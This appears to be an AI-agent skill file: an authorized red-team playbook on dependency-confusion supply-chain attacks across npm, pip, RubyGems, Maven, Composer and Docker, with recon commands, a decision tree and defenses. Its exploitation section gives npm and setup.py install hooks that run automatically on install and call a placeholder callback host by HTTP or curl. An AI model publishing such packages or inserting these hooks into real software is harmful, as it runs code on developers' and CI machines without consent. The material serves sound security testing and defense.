dependency-confusion

name	dependency-confusion
description	Supply-chain testing via package-manager dependency confusion: when internal package names resolve to attacker-controlled public registries, leading to malicious install and script execution. Use for npm/pip/gem/Maven/Composer/Docker manifest review and authorized red-team supply-chain exercises.

SKILL: Dependency Confusion — Supply Chain Attack Playbook

AI LOAD INSTRUCTION: Expert dependency-confusion methodology. Covers how private package names leak, how public registries can win version resolution, ecosystem-specific pitfalls (npm scopes, pip extra indexes, Maven repo order), recon commands, non-destructive PoC patterns (callbacks, not data exfil), and defensive controls. Pair with supply-chain recon workflows when manifests or CI caches are in scope. Only use on systems and programs you are authorized to test.

0. QUICK START

What to look for first

• Manifests listing package names that look internal (short unscoped names, org-specific tokens, product codenames) without a hard-private registry lock.
• Evidence the same name might exist—or be squattable—on a public registry with a higher semver than the private feed publishes.
• Lockfiles missing, stale, or not enforced in CI so install/build can drift toward public metadata.

Fast mental model: If the resolver can see both private and public indexes, and version ranges allow it, the “newest” matching version may be the attacker’s.

Routing note: if the task comes from supply-chain, repository exposure, or CI-build recon, first use recon-for-sec to list internal package names and possible public-registry collisions.

---

1. CORE CONCEPT

1. Private packages: An organization ships libraries only on an internal registry (or under conventions that imply “ours”), e.g. a scoped name like @org-scope/internal-utils or an unscoped name such as acme-billing-sdk.
2. Attacker squats the name: The same package name is published on a public registry (npmjs, PyPI, RubyGems, etc.).
3. Resolver preference: Many setups resolve highest matching version across all configured indexes (or merge metadata), so a public 9.9.9 can beat a private 1.2.3 if ranges allow.
4. Execution: Package managers run lifecycle scripts (npm preinstall/postinstall, setuptools entry points, etc.) → attacker code runs on developer laptops, CI, or production image builds.

This is a supply-chain class issue: impact is often broad (many consumers) and silent until build or runtime hooks fire.

---

2. AFFECTED ECOSYSTEMS

Ecosystem	Typical manifest	Confusion angle
npm	package.json	Scoped packages (@scope/pkg) are safer when the scope is owned on the registry; unscoped private-style names are high risk. Multiple registries / .npmrc registry vs per-scope @scope:registry= misconfiguration increases risk.
pip	requirements.txt, pyproject.toml, setup.py	pip install -i / --extra-index-url merges indexes; a public index can serve a higher version for the same distribution name.
RubyGems	Gemfile	source order and additional sources; ambiguous gem names reachable from rubygems.org.
Maven	pom.xml	Repository declaration order and mirror settings; a public repo publishing the same groupId:artifactId under a higher version can win if policy allows.
Composer	composer.json	Packagist is default; private packages without repositories/canonical discipline may collide with public names.
Docker	FROM, image tags	Typosquatting on container registries (e.g. public hub) for images with names similar to internal base images.

---

3. RECONNAISSANCE

Where internal names leak

• Committed package.json, requirements.txt, Gemfile, pom.xml, composer.json in repos or forks.
• JavaScript source maps, bundled assets, or error stack traces referencing package paths.
• .npmrc, .pypirc, CI logs showing install URLs or mirror endpoints.
• Issue trackers, gist snippets, and dependency graphs from SBOM exports.

Check public squatting / claimability (read-only)

# npm — metadata for a name (unscoped)
npm view some-internal-package-name version

# npm — scoped (requires scope to exist / be readable)
npm view @some-scope/internal-lib versions --json

# PyPI — dry-run style version probe (adjust name; fails if not found)
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'

# RubyGems — query remote
gem search '^some-internal-package-name$' --remote

# Maven Central — search coordinates (example pattern)
# curl "https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json"

Routing note: after package-name enumeration, consider PoC only in authorized environments; public registry lookups themselves are usually passive recon.

---

4. EXPLOITATION

Authorized testing pattern

1. Register (or use a controlled namespace) the same package name on the public registry your target resolver can reach.
2. Publish a higher semver than the legitimate internal line within the victim’s declared range (e.g. ^1.0.0 → publish 9.9.9).
3. Add lifecycle hooks that prove execution without harming hosts—prefer DNS/HTTP callback to a collaborator you control, no destructive writes.

npm package.json — minimal callback-style PoC (illustrative)

{
  "name": "some-internal-package-name",
  "version": "9.9.9",
  "description": "authorized dependency-confusion PoC only",
  "scripts": {
    "preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
  }
}

npm package.json — shell + curl fallback (illustrative)

{
  "scripts": {
    "postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
  }
}

pip — setup hook pattern (illustrative; use only in authorized lab packages)

# setup.py (excerpt)
from setuptools import setup
from setuptools.command.install import install

class PoCInstall(install):
    def run(self):
        import urllib.request
        urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
        install.run(self)

setup(
    name="some-internal-package-name",
    version="9.9.9",
    cmdclass={"install": PoCInstall},
)

Reference implementation (study / lab): community PoC layout and workflow similar to 0xsapra/dependency-confusion-exploit — automate version bump, publish, and callback confirmation only where you have written permission.

---

5. TOOLS

Tool	Role
visma-prodsec/confused	Scans manifest files for dependency names that may be claimable on public registries (multi-ecosystem).
synacktiv/DepFuzzer	Automated dependency confusion testing workflows (use strictly in-scope).

Run these only against your manifests or authorized engagements; do not use to squat names for unrelated third parties.

---

6. DEFENSE

• npm: Prefer scoped packages (@org-scope/pkg) with org-owned scopes; set .npmrc so private scopes map to private registry and default registry is not accidentally public for internal names.
• Pinning: Exact versions + lockfiles (package-lock.json, poetry.lock, Gemfile.lock, composer.lock) enforced in CI.
• pip: Avoid careless --extra-index-url; prefer single private index with mirroring, or explicit --index-url policies in CI.
• Maven / Gradle: Control repository order, use internal mirrors, and block unexpected groupIds on release pipelines.
• Composer: Use repositories with canonical: true for private packages; verify Packagist is not introducing unexpected vendors.
• Defensive registration: Reserve internal names on public registries (squat your own names) where policy allows.
• Monitoring: Tools such as Socket.dev, Snyk, or similar SBOM/supply-chain scanners to alert on new publishers or version jumps for critical packages.

---

7. DECISION TREE

Do manifests reference package names that could be non-unique globally?
├─ NO → Dependency confusion unlikely from naming alone; pivot to typosquatting / compromised accounts.
└─ YES
    ├─ Is the private registry the ONLY source for that name (scoped + .npmrc / single index / mirror)?
    │   ├─ YES → Lower risk; still verify CI and developer machines do not override config.
    │   └─ NO → HIGH RISK
    │         ├─ Can a public registry publish a HIGHER version inside declared ranges?
    │         │   ├─ YES → Treat as exploitable in authorized tests; prove with callback PoC.
    │         │   └─ NO → Check pre-release tags, local `file:` deps, and stale lockfiles.
    │         └─ Are lifecycle scripts disabled/blocked in CI? (reduces impact, does not remove squat risk)

---

Related routing

• From recon-for-sec: When doing supply-chain reconnaissance, cross-link leaked manifests and internal package identifiers with the checks in Section 3 and the decision tree in Section 7 before proposing any publish/PoC steps.